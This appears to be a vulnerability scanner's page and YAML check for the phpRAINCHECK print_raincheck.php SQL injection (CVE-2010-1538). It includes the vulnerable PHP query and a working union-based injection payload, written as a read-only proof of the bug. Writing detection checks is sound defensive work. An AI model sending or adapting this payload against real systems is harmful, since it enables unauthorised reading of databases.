phpRAINCHECK — 1 vulnerability check
noctis ships 1 vulnerability check for phpRAINCHECK, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpRAINCHECK print_raincheck.php id SQL Injection
| CVE | CVE-2010-1538 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpraincheck/CVE-2010-1538.yaml |
phpRAINCHECK 1.0.1 and earlier put the id parameter of print_raincheck.php, unfiltered, inside a quoted SQL string and print the returned raincheck, without authentication, allowing SQL injection (an attacker can read the whole database).
This check requests print_raincheck.php under the web root and the usual install paths. Where the phpRAINCHECK print page answers, it sends an id value that closes the quoted string and appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the printed raincheck contains the product computed by the database, which never appears in the request. No stored data is read and nothing is written. When the print page cannot be tested (no reply, not found or a server error), the check falls back to the version shown on the settings page (1.0.1 or earlier), reported with a lower confidence.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/print_raincheck.php - HTTP(S) request
GET {{dir}}/print_raincheck.php?id={{sc.q_union}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/settings.php - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: phpRAINCHECK print_raincheck.php id SQL Injection (CVE-2010-1538) - Checks
ver_hitfor^/→ finding QoD 70: phpRAINCHECK <= 1.0.1 print_raincheck.php id SQL Injection (CVE-2010-1538)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-1538
- https://www.exploit-db.com/exploits/11586
- https://sourceforge.net/projects/phpraincheck/
Feed source — tests/vulnerabilities/phpraincheck/CVE-2010-1538.yaml
# phpRAINCHECK — print_raincheck.php id SQL injection — CVE-2010-1538
#
# print_raincheck.php (phpRAINCHECK 0.1.0, SourceForge phpraincheck — the only release
# still downloadable; EDB-11586 reports the same page in 1.0.1) runs, with no
# authentication (session_start() only, no login check anywhere in the application):
# $id = $_GET['id'];
# $result0 = mysql_query("SELECT id, name, item, price, regprice, description,
# quantity, date, expire FROM rainchecks WHERE id = '$id'");
# $row0 = mysql_fetch_array($result0);
# and prints the first row as "Name: <name>", "#<id> - <item>", "-<description>", …
# rainchecks.id is a VARCHAR (install.html), so "AND 0" guarantees that no stored row
# comes before the injected one. A failed query prints nothing (no mysql_error()), so an
# error-based proof is not possible: the proof is a UNION row.
#
# Detection, per candidate install dir:
# 1. QoD 97 — where print_raincheck.php answers 200 with the "phpRAINCHECK - Print"
# title: print_raincheck.php?id=<r>'/**/AND/**/0/**/UNION/**/SELECT/**/1,C,C,4,5,C,7,8,9#
# with C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b. The
# vulnerable page prints NOCTIS<a*b>END as the raincheck name; a*b is never in the
# request. Read-only: no table is read and nothing is written.
# 2. QoD 70 — when no dir gave the proof: a dir whose print page could not be tested
# (no reply, 404, 5xx — e.g. a database error) but whose settings.php shows the
# ">phpRAINCHECK - Settings<" heading and "Version: x.y.z" <= 1.0.1 (no fixed
# release exists). A print page that answers but is not injectable (PHP escaping
# quotes, magic_quotes_gpc) is a mitigated install and is not reported.
#
# Better than the source NASL:
# - the reference check only compares the version shown on settings.php; this feed
# proves the injection with a database-computed value (a reflecting page or honeypot
# cannot fake it) and keeps the version check as a lower-QoD fallback.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_php_raincheck_sql_injection_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.901113, GPL-2.0-only); exploit EDB-11586.
uid: b17f88ac-7fd2-4f3a-a5d7-dd12b1036fd1
name: "phpRAINCHECK print_raincheck.php id SQL Injection (CVE-2010-1538)"
description: |
phpRAINCHECK 1.0.1 and earlier put the id parameter of print_raincheck.php, unfiltered,
inside a quoted SQL string and print the returned raincheck, without authentication,
allowing SQL injection (an attacker can read the whole database).
This check requests print_raincheck.php under the web root and the usual install
paths. Where the phpRAINCHECK print page answers, it sends an id value that closes the
quoted string and appends a UNION SELECT of an expression multiplying two random
numbers. The vulnerability is confirmed when the printed raincheck contains the
product computed by the database, which never appears in the request. No stored data
is read and nothing is written. When the print page cannot be tested (no reply, not
found or a server error), the check falls back to the version shown on the settings
page (1.0.1 or earlier), reported with a lower confidence.
cves: [CVE-2010-1538]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpraincheck, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-1538"
- "https://www.exploit-db.com/exploits/11586"
- "https://sourceforge.net/projects/phpraincheck/"
# OpenVAS/Greenbone NASL 2010/gb_php_raincheck_sql_injection_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected value and the encoded id payload ────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q_union: rand_int(100000, 999999) + "%27/**/AND/**/0/**/UNION/**/SELECT/**/1,"
+ c + "," + c + ",4,5," + c + ",7,8,9%23" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
- id: init-ver
action: set_var
var_name: ver_hit
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/rainchecks", "/phprainchecks", "/phpraincheck", "/raincheck"]
- id: init-union-resp
action: set_var
var_name: union_resp
var_value: {status: 0, body: ""}
- id: init-settings
action: set_var
var_name: settings
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/print_raincheck.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: landing
- id: union-probe
action: http_request
method: GET
path: "{{dir}}/print_raincheck.php?id={{sc.q_union}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && landing.status == 200 && landing.body.contains("<title>phpRAINCHECK - Print</title>")'
store_as: union_resp
- id: check-union
action: script
condition: 'hit_dir == "" && landing.status == 200 && landing.body.contains("<title>phpRAINCHECK - Print</title>")'
code: |
let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
if body.contains("Name: " + sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
# Version fallback candidate — only where the print page could not be tested (no
# reply, 404, 5xx, …). A print page that answers but is not injectable (quotes
# escaped) is a mitigated install and is not reported.
- id: fetch-settings
action: http_request
method: GET
path: "{{dir}}/settings.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && ver_hit == "" && !(landing.status == 200 && landing.body.contains("<title>phpRAINCHECK - Print</title>"))'
store_as: settings
- id: check-version
action: script
condition: 'hit_dir == "" && ver_hit == "" && !(landing.status == 200 && landing.body.contains("<title>phpRAINCHECK - Print</title>")) && settings.status == 200'
code: |
let body = if type_of(settings.body) == "string" { settings.body } else { "" };
if !body.contains(">phpRAINCHECK - Settings<") { return ""; }
let m = eregmatch("Version: ([0-9]+(?:\\.[0-9]+)*)", body);
if type_of(m) != "array" || m.len() < 2 { return ""; }
let p = m[1].split(".");
let maj = parse_int(p[0]);
let min = if p.len() > 1 { parse_int(p[1]) } else { 0 };
let pat = if p.len() > 2 { parse_int(p[2]) } else { 0 };
let vuln = maj < 1 || (maj == 1 && (min == 0 && pat <= 1));
if vuln { (if dir == "" { "/" } else { dir }) + " (version " + m[1] + ")" } else { "" }
store_as: ver_hit
# ── Findings ──────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "phpRAINCHECK print_raincheck.php id SQL Injection (CVE-2010-1538)"
description: "An unauthenticated print_raincheck.php request whose id value closes the quoted SQL string and appends a UNION SELECT multiplying two random numbers printed the product computed by the database as the raincheck name: an attacker can read the whole database."
remediation: "No fixed phpRAINCHECK release exists: remove the application, or at least restrict access to it (for example with HTTP authentication on its directory)."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: print_raincheck.php?id=…'/**/AND/**/0/**/UNION/**/SELECT/**/1,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),…,9# printed the database-computed value {{sc.want}}"
stop: true
# ── Version fallback, once, after every dir was tried for the proof ───────
- id: once
action: set_var
var_name: fallback_pass
var_value: true
loop:
var: pass
over: ["once"]
- id: report-version
action: match
source: ver_hit
pattern: "^/"
on_match:
finding:
title: "phpRAINCHECK <= 1.0.1 print_raincheck.php id SQL Injection (CVE-2010-1538)"
description: "The phpRAINCHECK settings page reports version 1.0.1 or earlier, whose print_raincheck.php puts the id parameter unfiltered inside an SQL query. print_raincheck.php could not be tested on this install (no reply, not found or a server error), so the injection itself was not confirmed."
remediation: "No fixed phpRAINCHECK release exists: remove the application, or at least restrict access to it (for example with HTTP authentication on its directory)."
confidence_delta: 0.40
qod: 70
evidence: "install dir {{ver_hit}}: settings.php shows phpRAINCHECK 1.0.1 or earlier"